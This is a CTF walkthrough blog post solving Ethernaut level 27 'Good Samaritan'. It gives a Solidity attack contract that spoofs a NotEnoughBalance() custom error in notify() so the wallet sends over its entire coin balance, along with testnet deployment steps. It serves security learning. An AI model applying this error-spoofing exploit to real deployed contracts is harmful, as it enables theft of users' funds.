Ethernaut #27 — Good Samaritan (Walkthrough)

0xkmg
4 min readSep 13, 2022

--

solution of the Ethernaut CTF’s latest challenge

Background

I’ve been grinding Ethernaut and Damn Vulnerable Defi for the past two months. With the abundant resources available in the community, I finally got the victorious green tick from the terminal.

After a brief moment of celebration, I went back to Ethernaut for a final check — what the hell? Not only did they change the UI, but they also added one more challenge.

I spent some time on it and tried to check out other places for a better solution. Then I realized there’s no available resource for this new challenge at the moment (shout out to my heroes D-Squared, Nahuel D. Sánchez, Aditya Dixit and other researchers for their walk-throughs and write-ups) — a perfect opportunity for me to offer my two cents.

The Challenge

This instance represents a Good Samaritan that is wealthy and ready to donate some coins to anyone requesting it. Would you be able to drain all the balance from his Wallet?

Things that might help: Solidity Custom Errors

Contract Logic Walkthrough

The challenge consists of 3 contracts: the GoodSamaritan, the Coin and the Wallet. The GoodSamaritan contract will deploy new instances of the Coin and the Wallet (the GoodSamaritan will be the owner) contract respectively.

There is a requestDonation() in the GoodSamaritan contract. It is an external function, the Good Samaritan will donate 10 coins to the requester via the donate10(address dest_) function in the Wallet, if there are enough coins (≥10) in the Wallet.

If there is not enough coin, it will check if the reverted message is "NotEnoughBalance()" by this line:

keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)

Solidity does not support direct comparison of two strings, we can do some hashing to compare their values

if it passes, the function will make a call to the transferRemainder() on the Wallet contract, which then calls thetransfer() function on the Coin contract and transfer all the remaining fund in the wallet.

Attack TLDR

since the transferRemainder() function will call coin.transfer() with the whole balance of the wallet, if we can somehow throw the NotEnoughBalance()error out, all the coins will be drained from the Wallet Contract.

Explanation

let’s have a closer look at the transfer() function in the Coin Contract. It takes two arguments, an address _dest and an uint256 amount. If dest_ is a contract, it will run the notify function on the _dest contract as well:

function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}

When coding up our attack contract, we can simply add an external notify(uint256 amount) function which will revert NotEnoughBalance() :

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface GoodSamaritan {
function requestDonation() external returns (bool enoughBalance);
}
contract AttackGoodSamaritan {
error NotEnoughBalance();
//@para _addr is the instance address
function attack (address _addr) public {
GoodSamaritan(_addr).requestDonation();
}
function notify(uint256 amount) pure external {

revert NotEnoughBalance();

}
}

However there is a potential problem: if we revert all transfers, how can we accept the final payment from the Good Samaritan?

We have to add a final check to this revert too: make sure to revert the transfer when it is ≤ at 10:

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface GoodSamaritan {
function requestDonation() external returns (bool enoughBalance);
}
contract AttackGoodSamaritan {
error NotEnoughBalance();
//@para _addr is the instance address
function attack (address _addr) public {
GoodSamaritan(_addr).requestDonation();
}
function notify(uint256 amount) pure external {
//additional check on the amount, make sure we get all the token from transferRemainder()
if(amount <= 10){
revert NotEnoughBalance();
}
}
}

Step by Step

  1. Deploy the contract on Rinkeby network (time to say goodbye! it will be shut down after the Merge) via Remix, choose Injected Provider — Metamask as the Environment.
  2. Get a new instance from Ethernaut, copy the instance address as the function argument of attack() and run attack (don’t forget to confirm the transaction).
  3. Submit the instance and enjoy the glory!

Thanks Eric Nordelo for this lovely level. It shows that vulnerabilities are everywhere in Solidity. With the introduction of new functionality, we must keep up our security game to avoid potential exploits.

Remarks

  • Since Custom Errors are introduced in Solidity v0.8.4 as a gas-efficient way to revert calls, basic knowledge of the syntax is required.

That’s it! Follow me on Twitter and Instagram for more blockchain-related content. I’ve formed a discord study group for smart contract security and auditing. Feel free to DM me.

--

--

0xkmg

Blockchain Developer || Everything about Solidity and Blockchain Security